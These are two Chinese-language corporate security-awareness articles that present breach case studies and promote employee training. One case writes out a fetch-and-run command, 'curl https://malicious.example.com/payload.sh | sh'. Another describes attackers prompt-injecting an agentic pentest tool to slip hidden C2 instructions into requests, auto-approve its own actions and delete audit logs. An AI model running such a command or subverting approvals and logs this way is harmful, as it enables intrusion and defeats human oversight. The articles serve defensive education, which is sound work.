渗透测试

守护数字边疆——从现实漏洞看信息安全，助力职工安全素养提升

admin

头脑风暴：如果黑客是来参加公司年会的客人，他们会挑哪些“礼物”带走？

1️⃣ 过期的系统补丁——就像把旧礼品包装纸随手丢进垃圾桶，等于把门锁留在门外；
2️⃣ 不受信任的第三方库——像是把陌生的外卖送到办公室，里面可能暗藏“毒药”；
3️⃣ 人工智能生成的漏洞代码——把“聪明的机器人”当作培训讲师，却让它偷偷教大家“破解门禁”；
4️⃣ 权限配置错误——把公司钥匙交给了保洁阿姨，却忘了收回。

如果把这些“礼物”比作信息安全事件的典型案例，恐怕连福尔摩斯也会摇头叹息。下面，让我们从四个真实且富有教育意义的案例出发，剖析风险根源、攻击路径以及应对之道，帮助每一位同事在日常工作中养成“防患未然”的安全习惯。

案例一：Debian 13 内核巨献——68 个漏洞的“沉默杀手”

事件概述

2026 年 8 月 3 日，9to5Linux 报道称，Debian 13（代号 Trixie）发布了 Linux 6.12 LTS 内核的安全更新，累计修复 68 项重大漏洞，其中包括 CVE‑2026‑64530（TC 子系统的 Use‑After‑Free）和 CVE‑2026‑64531（OVSWrap 本地提权）。官方建议所有用户尽快升级至 6.12.100‑1。

风险剖析

  1. 漏洞类型：Use‑After‑Free 常导致内核崩溃、远程代码执行；本地提权漏洞则能让普通用户直接获取 root 权限。
  2. 攻击面：TC 子系统面向网络流量控制，若攻击者通过构造特制的流量包即可触发 DoS，甚至利用内核执行任意代码；OVS datapath 则是数据平面关键组件，在云环境中被广泛部署，漏洞一旦被利用，整个宿主机的安全边界瞬间失守。
  3. 补丁滞后：从漏洞披露到官方发布补丁，最高耗时 10 天；在此期间，攻击者已可通过公开的 PoC（Proof‑of‑Concept）脚本进行批量扫描与利用。

教训与对策

  • 快速响应机制：企业内部应建立 安全补丁闭环，包括漏洞情报收集、风险评估、测试验证、批量推送以及回滚预案。
  • 最小化攻击面：对不需要的内核模块进行 裁剪，关闭 TC、OVS 等不使用的功能，降低潜在漏洞暴露。
  • 自动化监控：部署基于 eBPF 的内核行为监控，实时捕获异常系统调用，配合 SIEM（安全信息和事件管理）平台实现快速告警。

正如《孙子兵法》云：“兵形象水，水因形而流。”系统的安全同样需要随时“随形”而动，不能等到漏洞被利用后才匆忙“补池”。

案例二：开源供应链攻击——“恶意依赖”让项目瞬间失守

背景回顾

2025 年底，某知名开源项目的 npm 包被恶意篡改，攻击者在 package.json 中植入了后门脚本，导致下游数千家企业在 CI/CD 流程中自动下载并执行该恶意代码。受影响的公司包括金融、医疗以及制造业巨头，导致泄露数十万条用户数据、关键业务代码被窃取。

攻击链解构

  1. 获取发布权限：攻击者通过社交工程获取原维护者的 2FA 令牌，成功登录 npm 账户。
  2. 篡改源码：在源码中加入 curl https://malicious.example.com/payload.sh | sh 之类的隐蔽语句。
  3. 传播途径：依赖该库的项目在 npm install 时自动拉取并执行，几乎没有提示。
  4. 后端渗透：恶意脚本下载并执行 RAT（远程访问工具），打开后门，进一步横向移动。

防御要点

  • 多因素认证强制化：所有关键开源账号必须使用硬件令牌或生物特征进行二次验证。
  • 依赖校验：在 CI 流程中加入 SLSA（Supply‑Chain Levels for Software Artifacts） 认证或 HashiCorp Sentinel 等策略，校验依赖包的签名与哈希。
  • 最小化依赖：审计项目的依赖图，删除不必要的第三方库，尤其是 一次性脚本 类的轻量依赖。
  • 实时情报：订阅 OSV（Open Source Vulnerabilities）、GitHub Advisory 等漏洞情报源，做到先知而非后知。

正如《礼记·大学》所言：“格物致知，诚于中而不欺。”对待每一行代码，都应以严谨的校验态度，防止“格物”过程被恶意篡改。

案例三：AI 生成漏洞——“智能助攻”变成“黑客教官”

事件概述

2026 年 4 月，某大型云平台的安全团队在内部安全竞赛中意外发现，使用 ChatGPT‑4.5 自动生成的 CVE‑2026‑55001 PoC（针对内核 XDP 模块的越界写入）在 48 小时内被公开，随即在暗网论坛出现多起基于该 PoC 的攻击案例。攻击者利用 AI 生成的精细化利用链，将受害机器的内核权限直接提升至 root。

风险洞察

  1. 技术门槛降低：过去需要深厚的内核逆向经验才能编写利用代码，现今 AI 只需提供“漏洞描述”，即可生成可执行的 Exploit。
  2. 扩散速度：AI 生成的代码往往结构清晰、注释完整，便于非专业黑客快速上手，导致漏洞利用的 “病毒式”传播。
  3. 防御盲区：传统的 签名检测 对于 AI 生成的变体缺乏覆盖，检测模型的泛化能力受到挑战。

对策建议

  • AI 安全审计：建立专门的 AI 生成代码审计平台，采用多层次的静态分析、符号执行与行为监控相结合的方式，对所有自动生成的安全工具进行审查。
  • 红队演练：组织内部 红蓝对抗，让红队使用 AI 生成的 Exploit 进行渗透，蓝队则提升检测与阻断能力，实现“攻防同体”。
  • 安全意识培训：在全员培训中加入 AI 辅助攻击 的案例解读，让员工认识到 工具本身没有善恶，使用者决定结果。
  • 技术共享监管：与大型 AI 平台厂商合作，制定 漏洞利用代码的输出限制（如禁止生成可直接执行的 shellcode），形成行业自律。

《庄子·逍遥游》有言：“天地有大美而不言，四时有明法而不议。” 面对 AI 的“无声之美”，我们更需用理性的“明法”去规范其应用。

案例四：权限配置失误——“保洁阿姨的钥匙”引发的灾难

事件回顾

2025 年 12 月，一家跨国制造企业的内部网络审计发现，数百台生产线控制服务器的 SSH 公钥 被错误地放置在公开的 Git 仓库中，并且 sudoers 文件中将 ALL=(ALL) NOPASSWD: 规则赋予了 operator 用户组。攻击者通过公开仓库下载密钥后，快速登录服务器并执行 root 级别的恶意脚本，导致生产线停摆，经济损失达数亿元。

漏洞根源

  • 密钥泄漏：开发者在代码审查时未注意将 .ssh/id_rsa 文件加入 .gitignore，导致密钥随代码一起被推送。
  • 过宽权限：sudoers 中的 NOPASSWD 规则本是为运维便利设计，却未进行最小化授权审计。
  • 缺乏审计：审计日志未开启 auditd 的关键事件记录，导致攻击过程难以追溯。

防护措施

  • 密钥管理：采用 HashiCorp Vault、AWS Secrets Manager 等集中式秘钥管理系统，禁止在代码仓库中出现明文密钥。
  • 最小特权原则：对 sudo 权限进行细粒度控制，仅授予必要的命令集，且必须 requiretty。
  • 代码审计工具：集成 GitSecrets、TruffleHog 等扫描工具，在 CI 流程中自动检测敏感信息泄露。
  • 日志强化：启用 auditd 的 syscall=execve、execveat 关键系统调用审计，配合 ELK 堆栈实现实时告警。

如《论语·卫灵公》所言：“子曰：‘君子不器。’” 君子不应把系统当作“工具箱”，而是要对每一把钥匙的去向负责。

智能化、具身智能化、数据化的融合——新形势下的安全挑战

1. 智能化：AI 与机器学习渗透到运维、监控、业务决策的每一个环节。

  • 智能运维（AIOps） 能自动化故障定位，却也可能被恶意模型“篡改”，导致错误警报被忽视。
  • 机器学习模型 训练数据若被投毒（Data Poisoning），会直接影响业务判断。

2. 具身智能化：机器人、无人车、工业控制系统（ICS）正从“机器”迈向“具身”。

  • 控制指令的 OTA（Over‑The‑Air） 更新若未加签名验证，会成为攻击者的后门。
  • 边缘计算节点 资源受限，传统硬件加密方案难以落地，需要轻量化的可信执行环境（TEE）保障。

3. 数据化：企业业务全链路的数据化治理是数字化转型的根本。

  • 个人隐私、业务机密的集中化存储使得一次泄露的成本成倍提升。
  • 跨境数据流动 面临法规合规（如 GDPR、数据安全法）与技术治理双重挑战。

在上述三大趋势的交叉点上，信息安全不再是单点防护，而是全链路、全生命周期的治理。这要求每一位职工不仅要了解技术细节，更要树立 危机感 与 主动防御 的思维方式。

号召：加入信息安全意识培训，让每个人成为“安全守门人”

  1. 培训目标
    • 认知层面：了解最新漏洞趋势（如内核补丁、AI 生成利用、供应链攻击等），形成风险感知。
    • 技能层面：掌握基本的安全操作（如补丁管理、密码管理、代码审计），能够在日常工作中主动发现并报告安全隐患。
    • 文化层面：培养 “安全第一” 的工作氛围，使安全成为每个业务决策的前置条件。
  2. 培训形式
    • 线上微课（每章节 10 分钟，采用动画演示 + 场景案例），满足碎片化学习需求。
    • 线下工作坊（每周一次），邀请业界安全专家进行实战演练，如 红队攻击演示、蓝队防御实操。
    • 情景模拟：基于公司内部真实业务环境，构建 CTF（Capture The Flag）挑战，让员工在“玩”中学、在“学”中玩。
  3. 考核与激励
    • 阶段性测评：通过多选题、案例分析与实操任务三种形式综合评估。
    • 安全积分体系：对发现并成功修复内部漏洞的员工发放 安全积分，可用于公司福利兑换。
    • 荣誉徽章：设立 “安全达人” 徽章，展示在企业内部社交平台，提升个人影响力。
  4. 培训时间表（示例）
    • 第 1 周：信息安全概论 + 当下热点漏洞（包括 Debian 内核更新案例）
    • 第 2 周：供应链安全与代码审计（结合案例二）
    • 第 3 周：AI 与自动化安全（案例三）
    • 第 4 周：权限管理与密钥治理（案例四）
    • 第 5 周：智能化、具身智能化业务安全整合
    • 第 6 周：综合实战演练 & 评测
  5. 培训效果预期
    • 风险发现率提升 30%：通过前线员工的主动排查，提前捕获潜在漏洞。
    • 安全事件响应时间缩短 50%：形成快速上报、快速响应的闭环机制。
    • 合规达标率 100%：满足国内外数据安全合规要求，避免因违规导致的巨额罚款。

结语：从“防火墙”到“防思维”，让安全深入每一次操作

在这个 智能化、具身智能化、数据化 深度融合的时代，信息安全已不再是一道墙，而是一种思维方式。从上至下的治理 需要 从下至上的参与——每位职工都是系统的感知点，每一次点击、每一次提交、每一次配置，都可能是安全链路的关键环节。

正如《易经》卦象中“乾为天，君子以自强不息”，我们必须保持对新兴技术的警觉和对安全防护的不断强化。让我们在即将开启的信息安全意识培训中，一起学习、一起实践、一起守护，让每一位员工都成为公司数字边疆的“守门人”。

“安全不是终点，而是每一次迈步的起点。”

愿我们在信息化浪潮中，保持清醒的头脑，筑起坚不可摧的数字长城。

昆明亭长朗然科技有限公司研发的安全意识宣传平台，为企业打造了一套可操作性强、效果显著的员工教育体系。我们的平台易于使用且高度个性化，能够快速提升团队对信息安全的关注度。如有需求，请不要犹豫地与我们联系。

  • 电话：0871-67122372
  • 微信、手机：18206751343
  • 邮件：info＠securemymind.com
  • QQ: 1767022898

信息安全意识升维之路：从真实案例到AI时代的防线

admin

头脑风暴：如果把公司的内部网络比作一座古城，城墙是防火墙，城门是身份认证，城内的每一位员工就是驻守的士兵。那么，当“智能体”这一新型“机械兵”。突然闯入城池，它们会带来哪些未知的挑战？如果我们不提前演练，岂不是让城池在不经意间失守？下面，我将通过两个典型案例，带大家走进信息安全的“战争现场”，再结合当下智能体化、无人化、自动化的技术浪潮，呼吁全体职工积极参加即将开启的信息安全意识培训，提升个人防护能力，打造坚不可摧的安全城池。

案例一：AI 助力的“雨林”网络钓鱼——深度伪造邮件夺取内部凭证

场景复现

2025 年 11 月，一个看似普通的内部邮件在公司内部流转：邮件标题为《【重要】本周例行系统维护通知》，正文中附带一份 PDF 文档，声称是 IT 部门准备的系统升级指南。文件中嵌入了一个指向内部 GitLab 的链接，点击后弹出登录页面，页面几乎完美复制了真实的企业单点登录（SSO）页面，甚至在页面底部加入了公司 IT 部门的徽标和签名。

然而，这封邮件并非传统的钓鱼邮件，而是 利用生成式 AI（如 GPT‑4、Claude 等） 自动撰写的自然语言内容，配合 深度学习生成的图片与字体渲染，使得整个钓鱼页面在视觉上与真实页面“肉眼不可辨”。更为惊人的是，攻击者在邮件中加入了基于 AI 的行为分析：邮件发送时间精准对标公司内部会议前的高峰期，收件人列表通过 AI 挖掘公司内部通讯录，优先锁定了拥有管理权限的系统管理员。

事件链条

  1. 情报收集：攻击者使用公开的招聘信息、社交媒体以及公司官网的公开信息，借助 AI 网络爬虫 自动构建目标组织结构图。
  2. 邮件生成：利用大模型生成自然语言文本，自动匹配公司的语言风格、常用术语以及内部项目代号，使得邮件“熟悉感”极强。
  3. 伪造页面：使用 AI 图像生成（Stable Diffusion）生成与公司品牌相符的页面截图，配合 CSS/HTML 自动化生成工具 完成页面克隆。
  4. 投递：通过 自动化钓鱼平台（如 Gophish）批量发送邮件，利用 AI 动态调节发送时间和频率，以规避邮件安全网关的异常检测。
  5. 凭证泄露：至少 12 名受害者在不经意间输入了自己的企业账号与密码，凭证随后被实时转发至攻击者的暗网服务器。

影响评估

  • 直接经济损失：凭证被用于内部系统的横向渗透，导致数个关键业务系统被植入后门，造成约 350 万元的意外支出（包括系统恢复、数据审计和合规报告）。
  • 品牌声誉：此次钓鱼攻击在行业媒体曝光后，公司在合作伙伴中的信任度下降，潜在商业机会流失估计超过 800 万元。
  • 合规风险：由于泄露的凭证涉及个人信息（员工邮箱、姓名），触发了《网络安全法》《个人信息保护法》中的违规通报义务，需向监管部门报告并接受专项检查。

教训提炼

  1. 技术层面：AI 生成的内容已能够高度仿真，传统的关键词过滤、黑名单已难以应对，需要引入 行为分析与异常检测（如登录地点、设备指纹的动态比对）。
  2. 流程层面：所有涉及系统升级、密码变更等敏感操作，必须采用 多因素认证（MFA） 并通过内部即时通讯（如企业微信）二次确认。
  3. 人员层面：员工对“看似正规”的内部邮件缺乏判断力，说明 安全意识培训 必须从案例出发，提升对 AI 生成欺骗手段的识别能力。

案例二：Agentic AI 逆向渗透——Burp AT 试验版被恶意利用的“黑盒”事件

背景概述

2026 年 2 月，PortSwigger 正式推出 Burp AT（Agentic Testing） 的公开 beta 版，声称为渗透测试人员提供“AI 代理”来自动化漏洞挖掘、任务执行与报告生成。该工具的核心理念是让 AI 模型 通过 Burp Suite 的内部工具链执行渗透任务，且所有操作均受限于 Scope、权限与审批规则，确保模型只能在既定范围内行动。

然而，仅仅三个月后，一家未公开的黑客组织利用 公开的 Burp AT beta，通过自研的恶意 AI 代理，实现了对目标企业内部网络的自动化横向渗透。该组织在 GitHub 上发布了一个名为 “BurpX” 的项目，声称是对 Burp AT 的“功能扩展”，实际却是 在 Burp AT 的执行层面植入后门，并利用 Agentic AI 的自学习能力，在不被检测的情况下持续生成新型攻击载荷。

攻击路径

  1. 工具获取：攻击者下载了 Burp AT beta，并通过官方文档快速熟悉其 Scope 与审批机制，发现可以在 自定义“Approval Rule” 中加入 “自动批准” 条件。
  2. 后门植入：利用 OpenAI API 与自研的 “Prompt Injection” 技术，向 Burp AT 发送特制的 Prompt，指令模型在每次进行 Payload 生成 时，额外在 HTTP 请求头中加入 隐藏的 C2（Command & Control）指令。
  3. 自动化横向渗透：AI 代理在获取到目标内部 IP 列表后，自动调用 Burp Intruder 对内部开放的 Redis、MongoDB、Elasticsearch 等服务进行 未授权访问，并利用 默认密码 进行登录。
  4. 凭证收集与持久化：代理通过 Burp Repeater 读取内部 Web 应用的配置文件，提取数据库连接字符串、API 密钥等敏感信息，并将数据写入 外部 Git 仓库（利用 Git 的 “push” 功能），实现数据外泄。
  5. 隐蔽性维持：所有操作均在 Burp 项目内部记录，但攻击者利用 Burp AT 的“审计日志” 进行 5 秒一次的滚动删除，导致传统的日志审计失效。

事后影响

  • 关键资产泄露：攻击者获取了企业内部的 API 关键密钥，随后在公开云平台发起大规模爬虫攻击，造成业务服务短暂中断。
  • “安全工具被反制”：此次事件首次公开证实，渗透测试工具本身在 AI 代理化 后若配置不当，可能被 逆向利用，形成“工具即武器”的闭环。
  • 合规警示：依据《网络安全法》第三十六条，使用未经过严格安全评估的安全工具进行渗透测试，导致数据泄露的企业需承担相应的整改责任与行政处罚。

教训与思考

  1. 工具安全：引入 Agentic AI 的安全工具必须进行 严苛的供应链审计，包括 Prompt 输入验证、模型输出的安全过滤以及 执行层面的沙箱隔离。
  2. 人机协同：即便工具提供了“自动批准”功能，也必须保留 人工复核 的节点，防止 AI 代理自行扩展权限。
  3. 全链路监控：传统的日志审计已难以应对 AI 产生的高频、低噪声操作，需要 基于行为的异常检测平台（如 UEBA）对每一次 “工具调用” 进行关联分析。

从案例走向未来：智能体化、无人化、自动化的安全挑战

1. 智能体化（Agentic）——双刃剑的力量

PortSwigger 的 Burp AT 让我们看到，AI 代理可以在“思考—执行”的闭环中极大提升渗透效率。与此同时，正如 “兵者，诡道也”（《孙子兵法》），同一技术也能被对手用于自动化攻击。我们必须明确：

  • 模型可控：仅让 AI 在 受限的工具链（如 Burp Intruder、Repeater）中运行，并在模型层面加入 安全提示词（Safety Prompt），限制其输出风险指令。
  • 审计可追：所有 AI 产生的操作必须写入 不可篡改的审计链（如区块链或只读日志），并在 安全信息与事件管理（SIEM） 中进行实时监控。
  • 人机协同：始终保持 “人机共策” 的原则，AI 负责 繁杂重复 的任务，人类负责 策略制定、风险评估、最终决策。

2. 无人化（Autonomous）——从脚本到机器人

随着 CI/CD 流水线的全面自动化，安全检测工具也被嵌入到 DevSecOps 环境中。例如：

  • 自动化安全扫描：使用 GitHub Actions、GitLab CI 调用 SAST、DAST 工具，实现每次代码提交即刻进行安全检测。
  • 容器安全：通过 Kubernetes Admission Controllers 对容器镜像进行 自动签名校验，阻止未经审计的镜像进入生产环境。

无人化的优势是 速度 与 一致性，但同样的 “无人” 也意味着 缺少突发异常的直觉判断。因此，需要在 自动化流程中嵌入 AI 驱动的异常检测模型，实时捕捉偏离常规的行为。

3. 自动化（Automation）——让安全成为血脉

自动化不止于工具调用，更是 安全思维的系统化：

  • 最小权限原则（PoLP）：通过 Identity Governance & Administration (IGA) 自动管理账号权限，实现 “用完即撤”。
  • 隐私保护：引入 差分隐私 与 同态加密，在数据分析阶段实现 “不泄露原始数据”。
  • 零信任架构：在 Zero Trust 环境中，所有访问请求均需经过 持续验证 与 微分段，彻底摆脱传统的“边界防护”。

号召：让每位同事成为信息安全的“守城将军”

为什么每个人都要参与？

  1. 安全是每个人的职责：正如 《论语·为政》 中所说，“君子务本，本立而道生”。企业的安全基石在于每一位员工的日常行为。
  2. AI 时代的防线升级：面对 Agentic AI、无人化、自动化 的复合式攻击，仅靠技术防护已不足以抵御。人 必须具备 AI 识别与协作 的能力。
  3. 防患于未然：案例一、二表明，技术漏洞 与 人员缺口 同时存在时，攻击成功率将呈几何倍数提升。提升安全意识，就是在 漏洞出现前 先行构筑防线。

培训活动概览

时间 形式 内容要点 讲师
2026‑08‑05 09:00‑11:30 线上直播（Zoom） AI 生成钓鱼邮件识别、深度伪造图片辨析 张晓明（资深SOC分析师）
2026‑08‑12 14:00‑16:30 实战演练（内部实验室） Burp AT 实战演练、Agentic AI 权限控制 李娜（渗透测试团队负责人）
2026‑08‑19 10:00‑12:00 案例研讨（小组讨论） “工具即武器”风险、供应链安全评估 王浩（信息安全总监）
2026‑08‑26 13:30‑15:30 认证考试（闭卷） 信息安全基础、法律合规、零信任实践 陈哲（合规顾问）

报名方式：登录企业内部学习平台 “安全星球”，在 “培训中心” 中搜索 “信息安全意识提升计划”，即可完成报名。报名成功后，系统会自动发送日程提醒与前置材料（包括案例 PDF、AI防御手册等）。

参与收益

  • 证书加持：完成全部四场培训并通过认证考试，可获得公司颁发的 《信息安全意识与AI防御合格证书》，在年度绩效评估中额外加 5 分（满分 100 分）。
  • 技能升级：掌握 AI 生成内容的识别技巧、Burp Suite 高级功能、零信任身份验证配置等实战技能，可直接用于日常工作，提高工作效率。
  • 团队荣誉：部门将统计整体培训完成率，完成率 80% 以上 的部门，将在 公司年会 上获得 “安全先锋” 荣誉称号，并获得 专项安全基金（10,000 元）用于团队安全项目的研发。

行动建议（五步走）

  1. 立即报名：登录学习平台，完成个人信息填写与培训选课。
  2. 提前预习：下载案例材料，阅读《AI 时代的信息安全防线》白皮书（内部共享链接）。
  3. 积极互动：在直播、演练过程中，主动提出疑问，参与小组讨论。
  4. 实战复盘：完成培训后，结合自身岗位，制定 个人安全行动计划（如：每周检查一次密码强度、每月更新一次 MFA 设备）。
  5. 分享扩散：通过企业内部社交平台（如企业微信）分享培训收获，帮助同事提升安全意识，形成 “链式防护” 效应。

结语：携手共筑智能时代的安全城墙

在 AI 代理 与 自动化 融合的浪潮里，安全不再是“单打独斗”，而是 “全员协同、技术加人文” 的系统工程。正如《道德经》所言，“上善若水，水善利万物而不争”。我们要让安全像水一样，润物细无声——每一位职工都成为细水长流的安全源头；而当威胁来袭时，AI 与人类 将形成 “人机合璧、智慧防御” 的坚固防线。

请大家把握这次 信息安全意识培训 的宝贵机会，用知识武装自己，用行动守护企业的数字资产。让我们在 AI 时代的风口浪尖，携手并肩，演绎一场“以智防攻、以技保安”的华丽转身。

共勉之！

我们提供包括网络安全、物理安全及人员培训等多方面的信息保护服务。昆明亭长朗然科技有限公司的专业团队将为您的企业打造个性化的安全解决方案，欢迎咨询我们如何提升整体防护能力。

  • 电话：0871-67122372
  • 微信、手机：18206751343
  • 邮件：info＠securemymind.com
  • QQ: 1767022898